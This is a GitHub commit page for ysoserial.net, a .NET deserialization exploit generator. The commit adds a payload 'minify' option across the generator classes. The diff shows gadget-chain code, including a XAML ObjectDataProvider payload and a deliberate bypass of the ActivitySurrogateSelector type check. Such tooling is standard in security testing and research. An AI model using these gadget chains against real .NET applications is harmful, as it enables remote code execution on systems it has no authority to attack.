Skip to content

Commit

Permalink
init minify option and some updates
Browse files Browse the repository at this point in the history
  • Loading branch information
Soroush Dalili committed Feb 4, 2020
1 parent 160e86c commit 86b9cac
Show file tree
Hide file tree
Showing 30 changed files with 1,233 additions and 108 deletions.
14 changes: 11 additions & 3 deletions ysoserial/App.config
@@ -1,6 +1,14 @@
<?xml version="1.0" encoding="utf-8" ?>
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.5.2" />
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.6.1" />
</startup>
</configuration>
<runtime>
<assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">
<dependentAssembly>
<assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />
<bindingRedirect oldVersion="0.0.0.0-10.0.0.0" newVersion="10.0.0.0" />
</dependentAssembly>
</assemblyBinding>
</runtime>
</configuration>
9 changes: 7 additions & 2 deletions ysoserial/Generators/ActivitySurrogateDisableTypeCheck.cs
Expand Up @@ -25,7 +25,7 @@ public override List<string> SupportedFormatters()
return new List<string> { "BinaryFormatter", "ObjectStateFormatter", "SoapFormatter", "NetDataContractSerializer", "LosFormatter" };
}

public override object Generate(string cmd, string formatter, Boolean test)
public override object Generate(string cmd, string formatter, Boolean test, Boolean minify)
{
string xaml_payload = @"<ResourceDictionary
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
Expand Down Expand Up @@ -57,9 +57,14 @@ public override object Generate(string cmd, string formatter, Boolean test)
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>";

if (minify)
{
xaml_payload = Helpers.XMLMinifier.Minify(xaml_payload, null, null);
}

TextFormattingRunPropertiesMarshal payload = new TextFormattingRunPropertiesMarshal(xaml_payload);
return Serialize(payload, formatter, test);
return Serialize(payload, formatter, test, minify);
}

}
Expand Down
Expand Up @@ -51,10 +51,10 @@ public override string Credit()
return "James Forshaw";
}

public override object Generate(string file, string formatter, Boolean test)
public override object Generate(string file, string formatter, Boolean test, Boolean minify)
{
PayloadClassFromFile payload = new PayloadClassFromFile(file);
return Serialize(payload, formatter, test);
return Serialize(payload, formatter, test, minify);
}
}
}
4 changes: 2 additions & 2 deletions ysoserial/Generators/ActivitySurrogateSelectorGenerator.cs
Expand Up @@ -142,10 +142,10 @@ public override string Credit()
return "James Forshaw";
}

public override object Generate(string cmd, string formatter, Boolean test)
public override object Generate(string cmd, string formatter, Boolean test, Boolean minify)
{
PayloadClass payload = new PayloadClass();
return Serialize(payload, formatter, test);
return Serialize(payload, formatter, test, minify);
}
}
}
4 changes: 2 additions & 2 deletions ysoserial/Generators/Generator.cs
Expand Up @@ -9,8 +9,8 @@ interface Generator
string Description();
string Credit();
List<string> SupportedFormatters();
object Generate(string cmd, string formatter, Boolean test);
object Serialize(object cmdobj, string formatter, Boolean test);
object Generate(string cmd, string formatter, Boolean test, Boolean minify);
object Serialize(object cmdobj, string formatter, Boolean test, Boolean minify);
Boolean IsSupported(string formatter);
}
}
18 changes: 16 additions & 2 deletions ysoserial/Generators/GenericGenerator.cs
Expand Up @@ -14,7 +14,7 @@ abstract class GenericGenerator : Generator
{
public abstract string Description();

public abstract object Generate(string cmd, string formatter, Boolean test);
public abstract object Generate(string cmd, string formatter, Boolean test, Boolean minify);

public abstract string Credit();

Expand All @@ -30,7 +30,7 @@ public Boolean IsSupported(string formatter)
else return false;
}

public object Serialize(object cmdobj, string formatter, Boolean test)
public object Serialize(object cmdobj, string formatter, Boolean test, Boolean minify)
{
// Disable ActivitySurrogate type protections during generation
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
Expand Down Expand Up @@ -74,6 +74,13 @@ public object Serialize(object cmdobj, string formatter, Boolean test)
{
SoapFormatter sf = new SoapFormatter();
sf.Serialize(stream, cmdobj);

if (minify)
{
stream.Position = 0;
stream = Helpers.XMLMinifier.Minify(stream, null, null, Helpers.FormatterType.SoapFormatter);
}

if (test)
{
try
Expand All @@ -91,6 +98,13 @@ public object Serialize(object cmdobj, string formatter, Boolean test)
{
NetDataContractSerializer ndcs = new NetDataContractSerializer();
ndcs.Serialize(stream, cmdobj);

if (minify)
{
stream.Position = 0;
stream = Helpers.XMLMinifier.Minify(stream, new string[] { "mscorlib" }, null, Helpers.FormatterType.NetDataContractXML);
}

if (test)
{
try
Expand Down

0 comments on commit 86b9cac

Please sign in to comment.